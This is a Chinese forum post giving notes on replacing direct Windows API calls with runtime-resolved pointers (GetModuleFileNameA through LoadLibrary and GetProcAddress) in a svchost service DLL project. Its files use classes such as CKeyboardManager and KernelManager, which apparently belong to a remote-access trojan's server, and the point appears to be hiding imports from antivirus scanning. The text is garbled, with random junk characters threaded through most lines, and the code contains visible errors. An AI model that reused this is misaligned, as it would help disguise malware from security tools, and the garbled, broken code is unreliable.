[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
2 t$ r, M( d: n0 Vsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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DTDY.h：
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+ k2 c4 w) N8 V, Y" o' P#if _MSC_VER>1000
; L! u4 E. q& _3 @: b#pragma once
3 O+ ~- F( |3 ]0 Q& x  m#endif //_MSC_VER>1000, E( x8 l. Q1 S6 ^1 l
#include<windows.h>
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! R, }: r0 F. L6 V0 }2 Stypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);6 s5 y# Q8 C+ d3 u+ i+ t4 I
class DTDY* v1 t* P# X; o1 @9 W" `& `( p+ }8 _
{
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DTDY();
. ~7 s+ |8 j- z% dvirtual ~DTDY();1 e% K, y4 S4 c4 H, D, ]
public:
' f0 n  ^7 i+ J% b% g. U% U: Bstatic pGetModuleFileNameA MyGetModuleFileName;, _' x6 d! P+ N* d* P4 [" ~
static BOOL FunInitiallization();, e% e/ }% z9 J  q' d
};, P1 G% Q# h* M  Z1 b6 P) g" s
#endif: z( L# \* D5 X0 j, p
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DTDY.cpp:
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#include "DTDY.h". S5 h( P/ u  y9 C
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
2 h2 @& v5 I3 A8 _; J2 hDTDY:TDY()
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DTDY::~DTDY()2 [/ c" M: v; O4 d1 f3 q
{
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BOOL DTDY::FunInitiallization()
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HMODULE hModule=LoadLibrary("kernel32.dll");
" Z# o1 y! H+ [0 O9 kMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
/ b0 `% t0 y. Y9 F' U5 o' Dif(!MyGetModuleFileName=) return FALSE;
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" G- F$ P! [& Q4 r! L! M/ H1 N4 o6 preturn TRUE;
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svchost.cpp:6 G% t* L+ q1 v! \

  `+ M4 ?! d) G$ T- i; Q#include "DTDY.h"
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BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
2 {; Y+ S4 b9 M( v{
: ]9 D( x# W% Xswitch(ul_reason_for_call)
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) B- w2 F0 d+ I$ j2 r+ [( Bcase DLL_PROCESS_ATTACH:
1 b; F3 V+ L2 D/ J& Eif(!DTDY::FunInitiallization()) return FALSE;( ?# V0 j$ ]% G. i5 ]$ @

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}
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GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
1 O4 h) L+ k  B4 y改写为
0 E4 @2 D; m; g5 XDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));  Y8 ^/ ]  G, R1 c, R* z1 P3 g0 ~1 S
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KernelManager.cpp:1 L* j# @, l# b! j
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#include "../DTDY.h"
8 H% |# q0 X3 D9 a) x* QGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));) O# _+ D1 w+ j: P% a; H
改写为
/ H3 I" X$ g' J+ q( k9 J1 vDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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